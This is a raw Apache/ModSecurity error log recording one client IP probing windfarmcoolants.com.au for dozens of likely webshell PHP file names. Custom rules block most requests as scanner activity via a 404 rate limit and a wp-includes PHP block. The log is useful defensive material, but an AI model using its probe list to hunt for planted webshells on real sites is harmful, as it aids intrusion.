[Sat Apr 18 07:36:52.457759 2026] [:error] [pid 34288:tid 34316] [client 4.235.108.154:60561] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLEFOTIiy__PtiLmpkwoQAAAZg"]
[Sat Apr 18 07:36:54.633028 2026] [:error] [pid 9865:tid 9952] [client 4.235.108.154:58111] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLEFqzb5knECIY-C-jKtgAAAI8"]
[Sat Apr 18 07:36:55.731220 2026] [:error] [pid 34237:tid 34248] [client 4.235.108.154:60573] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLEFxBmX4Wq5a6rxfbZJAAAAUk"]
[Sat Apr 18 07:36:57.025419 2026] [:error] [pid 34290:tid 34334] [client 4.235.108.154:10931] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLEGRqX6WpmmAXOBi9j3gAAAc8"]
[Sat Apr 18 07:36:58.420958 2026] [:error] [pid 13023:tid 13042] [client 4.235.108.154:56841] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLEGv1e7hG8DAeABB8uswAAARE"]
[Sat Apr 18 07:36:59.950736 2026] [:error] [pid 34288:tid 34313] [client 4.235.108.154:61649] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aeLEG-TIiy__PtiLmpkwqQAAAZU"]
[Sat Apr 18 07:37:00.751934 2026] [:error] [pid 9864:tid 9920] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/gz.php
[Sat Apr 18 07:37:01.020427 2026] [:error] [pid 9864:tid 9922] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Sat Apr 18 07:37:01.689462 2026] [:error] [pid 9864:tid 9910] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/areak1.php
[Sat Apr 18 07:37:01.953467 2026] [:error] [pid 9864:tid 9914] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/qqa.php
[Sat Apr 18 07:37:03.535908 2026] [:error] [pid 9864:tid 9914] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Sat Apr 18 07:37:03.799365 2026] [:error] [pid 9864:tid 9926] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/ga.php
[Sat Apr 18 07:37:04.553700 2026] [:error] [pid 9864:tid 9917] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/xozx.php
[Sat Apr 18 07:37:04.816948 2026] [:error] [pid 9864:tid 9906] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/1100.php
[Sat Apr 18 07:37:05.082168 2026] [:error] [pid 9864:tid 9905] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Sat Apr 18 07:37:05.983341 2026] [:error] [pid 9864:tid 9927] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat Apr 18 07:37:06.984937 2026] [:error] [pid 9864:tid 9929] [client 4.235.108.154:63574] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kz.php
[Sat Apr 18 07:37:07.245299 2026] [:error] [pid 9864:tid 9912] [client 4.235.108.154:63574] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLEI4CFeowknfXHM7lStgAAAEY"]
[Sat Apr 18 07:37:10.106282 2026] [:error] [pid 9863:tid 9890] [client 4.235.108.154:10941] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLEJjjjiypiFrTucbIkIAAAABE"]
[Sat Apr 18 07:37:13.746074 2026] [:error] [pid 13023:tid 13049] [client 4.235.108.154:33859] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLEKf1e7hG8DAeABB8u0gAAARg"]
[Sat Apr 18 07:37:16.827244 2026] [:error] [pid 34237:tid 34246] [client 4.235.108.154:61683] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "aeLELBBmX4Wq5a6rxfbZLwAAAUc"]
[Sat Apr 18 07:37:19.632796 2026] [:error] [pid 34237:tid 34241] [client 4.235.108.154:58053] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLELxBmX4Wq5a6rxfbZPAAAAUI"]
[Sat Apr 18 07:37:22.500594 2026] [:error] [pid 13023:tid 13025] [client 4.235.108.154:61873] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLEMv1e7hG8DAeABB8u8wAAAQA"]
[Sat Apr 18 07:37:24.088690 2026] [:error] [pid 13023:tid 13033] [client 4.235.108.154:54577] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLENP1e7hG8DAeABB8u_AAAAQg"]
[Sat Apr 18 07:37:28.230612 2026] [:error] [pid 13023:tid 13046] [client 4.235.108.154:60593] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeLEOP1e7hG8DAeABB8vAwAAARU"]
[Sat Apr 18 07:37:30.126687 2026] [:error] [pid 13023:tid 13033] [client 4.235.108.154:60575] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeLEOv1e7hG8DAeABB8vCQAAAQg"]
[Sat Apr 18 07:37:33.505020 2026] [:error] [pid 34290:tid 34327] [client 4.235.108.154:61679] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeLEPRqX6WpmmAXOBi9kBwAAAcg"]
[Sat Apr 18 07:37:42.252727 2026] [:error] [pid 34237:tid 34241] [client 4.235.108.154:61831] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeLERhBmX4Wq5a6rxfbZXAAAAUI"]
[Sat Apr 18 07:37:45.697688 2026] [:error] [pid 13023:tid 13032] [client 4.235.108.154:61670] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLESf1e7hG8DAeABB8vPwAAAQc"]
[Sat Apr 18 07:37:47.083582 2026] [:error] [pid 34290:tid 34341] [client 4.235.108.154:58092] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLESxqX6WpmmAXOBi9kMQAAAdY"]
[Sat Apr 18 07:37:47.875373 2026] [:error] [pid 34288:tid 34299] [client 4.235.108.154:61870] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLES-TIiy__PtiLmpkw7gAAAYc"]
[Sat Apr 18 07:37:49.622886 2026] [:error] [pid 9970:tid 9976] [client 4.235.108.154:10895] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLETSYdRLRhVmaIMx35PgAAAMI"]
[Sat Apr 18 07:37:50.484593 2026] [:error] [pid 34290:tid 34326] [client 4.235.108.154:10889] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLEThqX6WpmmAXOBi9kNwAAAcc"]
[Sat Apr 18 07:37:51.602032 2026] [:error] [pid 34288:tid 34301] [client 4.235.108.154:60574] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLET-TIiy__PtiLmpkw9AAAAYk"]
[Sat Apr 18 07:37:52.838577 2026] [:error] [pid 34290:tid 34338] [client 4.235.108.154:33899] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLEUBqX6WpmmAXOBi9kQAAAAdM"]
[Sat Apr 18 07:37:54.405838 2026] [:error] [pid 34290:tid 34332] [client 4.235.108.154:61635] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLEUhqX6WpmmAXOBi9kQgAAAc0"]
[Sat Apr 18 07:37:55.212418 2026] [:error] [pid 34237:tid 34254] [client 4.235.108.154:33877] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLEUxBmX4Wq5a6rxfbZZwAAAU8"]
[Sat Apr 18 07:37:57.750487 2026] [:error] [pid 34290:tid 34341] [client 4.235.108.154:33856] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLEVRqX6WpmmAXOBi9kTAAAAdY"]
[Sat Apr 18 07:38:01.128226 2026] [:error] [pid 34288:tid 34315] [client 4.235.108.154:58090] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLEWeTIiy__PtiLmpkw-gAAAZc"]
[Sat Apr 18 07:38:03.559066 2026] [:error] [pid 9864:tid 9914] [client 4.235.108.154:10888] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLEW4CFeowknfXHM7lS4QAAAEg"]
[Sat Apr 18 07:38:08.181802 2026] [:error] [pid 34290:tid 34329] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/wglum1.php
[Sat Apr 18 07:38:08.453538 2026] [:error] [pid 34290:tid 34324] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/saorix1.php
[Sat Apr 18 07:38:08.754926 2026] [:error] [pid 34290:tid 34330] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/xper.php
[Sat Apr 18 07:38:09.018025 2026] [:error] [pid 34290:tid 34332] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/wxpass.php
[Sat Apr 18 07:38:09.291328 2026] [:error] [pid 34290:tid 34328] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/000.php
[Sat Apr 18 07:38:09.573628 2026] [:error] [pid 34290:tid 34325] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Sat Apr 18 07:38:09.835579 2026] [:error] [pid 34290:tid 34327] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/x3x.php
[Sat Apr 18 07:38:10.098042 2026] [:error] [pid 34290:tid 34322] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/xy.php
[Sat Apr 18 07:38:10.360736 2026] [:error] [pid 34290:tid 34331] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/global.php
[Sat Apr 18 07:38:10.624152 2026] [:error] [pid 34290:tid 34336] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat Apr 18 07:38:10.886725 2026] [:error] [pid 34290:tid 34335] [client 4.235.108.154:61680] File does not exist: /usr/local/apache/htdocs/suspended-page/link.php
[Sat Apr 18 07:38:11.170539 2026] [:error] [pid 34290:tid 34339] [client 4.235.108.154:61680] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeLEYxqX6WpmmAXOBi9kZwAAAdQ"]
[Sat Apr 18 07:38:13.609750 2026] [:error] [pid 9864:tid 9918] [client 4.235.108.154:61681] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeLEZYCFeowknfXHM7lTAQAAAEw"]
[Sat Apr 18 07:38:16.365879 2026] [:error] [pid 34288:tid 34292] [client 4.235.108.154:60599] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeLEaOTIiy__PtiLmpkxDgAAAYA"]
[Sat Apr 18 07:38:19.885267 2026] [:error] [pid 34237:tid 34243] [client 4.235.108.154:58102] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeLEaxBmX4Wq5a6rxfbZmwAAAUQ"]
[Sat Apr 18 07:38:21.082424 2026] [:error] [pid 34288:tid 34295] [client 4.235.108.154:33860] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeLEbeTIiy__PtiLmpkxHgAAAYM"]
[Sat Apr 18 07:38:23.826973 2026] [:error] [pid 13023:tid 13025] [client 4.235.108.154:61846] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeLEb_1e7hG8DAeABB8vyQAAAQA"]
[Sat Apr 18 07:38:24.863188 2026] [:error] [pid 9970:tid 9975] [client 4.235.108.154:10921] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeLEcCYdRLRhVmaIMx35awAAAME"]
[Sat Apr 18 07:38:26.931137 2026] [:error] [pid 9865:tid 9951] [client 4.235.108.154:62694] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeLEcqzb5knECIY-C-jK8AAAAI4"]
[Sat Apr 18 07:38:28.284218 2026] [:error] [pid 34288:tid 34313] [client 4.235.108.154:60571] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeLEdOTIiy__PtiLmpkxLAAAAZU"]
[Sat Apr 18 07:38:30.384608 2026] [:error] [pid 34290:tid 34330] [client 4.235.108.154:60607] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeLEdhqX6WpmmAXOBi9kiwAAAcs"]
[Sat Apr 18 07:38:31.330601 2026] [:error] [pid 34290:tid 34338] [client 4.235.108.154:57331] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeLEdxqX6WpmmAXOBi9kjQAAAdM"]
[Sat Apr 18 07:38:32.925364 2026] [:error] [pid 9970:tid 9985] [client 4.235.108.154:58063] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeLEeCYdRLRhVmaIMx35dAAAAMs"]
[Sat Apr 18 07:38:34.615844 2026] [:error] [pid 9970:tid 9991] [client 4.235.108.154:63588] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeLEeiYdRLRhVmaIMx35eAAAANE"]
[Sat Apr 18 07:38:36.147871 2026] [:error] [pid 13023:tid 13040] [client 4.235.108.154:10927] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeLEfP1e7hG8DAeABB8v3QAAAQ8"]
[Sat Apr 18 07:38:37.948460 2026] [:error] [pid 9863:tid 9890] [client 4.235.108.154:61643] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeLEfTjjiypiFrTucbIkRwAAABE"]
[Sat Apr 18 07:38:38.492484 2026] [:error] [pid 9970:tid 9977] [client 4.235.108.154:33879] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeLEfiYdRLRhVmaIMx35gwAAAMM"]
[Sat Apr 18 07:38:39.571190 2026] [:error] [pid 9970:tid 9991] [client 4.235.108.154:58048] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeLEfyYdRLRhVmaIMx35iQAAANE"]
[Sat Apr 18 07:38:41.446173 2026] [:error] [pid 9865:tid 9960] [client 4.235.108.154:56875] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeLEgazb5knECIY-C-jK_QAAAJc"]
[Sat Apr 18 07:38:42.562612 2026] [:error] [pid 9864:tid 9909] [client 4.235.108.154:61666] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeLEgoCFeowknfXHM7lTIAAAAEQ"]
